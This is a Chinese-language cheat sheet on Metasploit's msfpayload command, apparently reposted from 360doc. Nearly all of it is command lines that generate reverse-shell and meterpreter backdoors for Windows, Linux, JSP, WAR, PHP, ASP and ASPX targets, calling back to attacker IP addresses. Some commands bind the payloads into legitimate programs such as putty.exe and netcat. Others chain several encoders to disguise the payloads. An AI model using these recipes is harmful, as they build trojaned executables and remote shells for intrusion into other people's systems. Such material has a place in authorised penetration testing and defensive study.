Metasploit（四）--Msfpayload命令
原文：http://www.360doc.com/content/15/0123/00/597197_442974311.shtml
msfpayload即将在2015年6月18日弃用，用msfvenmon替代
msfpayload -h
msfpayload的帮助信息。
msfpayload -l | grep windows msfpayload -l | grep linux msfpayload -l | grep andriod
列出某个平台的pyloads
msfpayload windows/meterpreter/bind_tcp S
查看需要设置参数
msfpayload windows/meterpreter/bind_tcp O
列出所有windows/meterpreter/bind_tcp下可用的攻击载荷的配置项（任何攻击载荷都是可用配置的）。
msfpayload windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT X > payload.exe
创建一个metasploit的reverse_tcp攻击载荷，回连到LHOSTip的LPORT，将其保存为名为payload.exe的windows下可执行程序。
msfpayload windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT R > payload.raw
创建一个metasploit的reverse_tcp攻击载荷，回连到LHOSTip的LPORT，将其保存为名payload.raw，该文件后面的msffencode中使用。
msfpayload windows/meterpreter/reverse_tcp LPORT=PORT C > payload.c
创建一个metasploit的reverse_tcp攻击载荷，导出C格式的shellcode。
msfpayload windows/meterpreter/reverse_tcp LPORT=PORT J > payload.java
创建一个metasploit的reverse_tcp攻击载荷，导出成以%u编码方式的javaScript语言字符串。
msfpayload与可执行文件帮顶，如netcat
root@bt:~# msfpayload linux/x86/shell_reverse_tcp EXITFUNC=thread LHOST=10.0.0.1 LPORT=5555 R | msfencode -a x86 -e x86/alpha_mixed -k -x /bin/netcat -t elf -o nc
msfpayload生成linux backdoo
root@bt:~# msfpayload linux/x86/shell_reverse_tcp LHOST=192.168.7.102 LPORT=5555 X > linux2
msfpayload生成exe backdoor
root@bt:~#msfpayload windows/meterpreter/reverse_tcp LHOST=10.1.1.1 LPORT=5555 R | msfencode -t exe -c 5 > /root/Desktop/door.exe root@bt:~#msfpayload windows/meterpreter/reverse_tcp LHOST=10.1.1.1 LPORT=5555 R | msfencode -t exe -c 5 -k -x /root/putty.exe -o /root/Desktop/puttydoor.exe root@bt:~#msfpayload windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=5555 R | msfencode -e x86/shikata_ga_nai -t raw -a x86 -b '\x00\x0a\x0d' -c 10 X > shell.bin root@bt:~#msfpayload windows/shell/reverse_tcp LHOST=10.0.0.1 LPORT=4443 EXITFUNC=thread R | msfencode -e x86/shikata_ga_nai -c 2 -t raw | msfencode -e x86/jmp_call_additive -c 2 -t raw | msfencode -e x86/call4_dword_xor -c 2 -t raw | msfencode -e x86/jmp_call_additive -c 2 -t raw | msfencode -e x86/call4_dword_xor -c 2 -t exe -o door.exe
msfpayload生成jsp backdoo
root@bt:~# msfpayload java/jsp_shell_reverse_tcp LHOST=10.1.1.1 LPORT=5555 R > door.jsp
msfpayload生成war backdoo
root@bt:~# msfpayload linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=5555 W > door.war
msfpayload生成php backdoor
root@bt:~# msfpayload php/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=5555 R | msfencode -e php/base64 -t raw -o base64php.php
msfpayload生成asp backdoor
root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=5555 R | msfencode -e x86/shikata_ga_nai -a x86 -t asp -o door2.asp
msfpayload生成aspx backdoor
root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=5555 R | msfencode -e x86/shikata_ga_nai -a x86 -t aspx -o door.aspx
目标是内网时,常用的payload选着如:
root@bt:~# msfpayload windows/meterpreter/reverse_tcp_allports LHOST=192.168.1.6 R | msfencode -e x86/shikata_ga_nai -c 3 -t exe -o allports.exe root@bt:~# msfpayload windows/meterpreter/reverse_http LHOST=192.168.1.6 R | msfencode -e x86/shikata_ga_nai -c 3 -t exe -o httpports.exe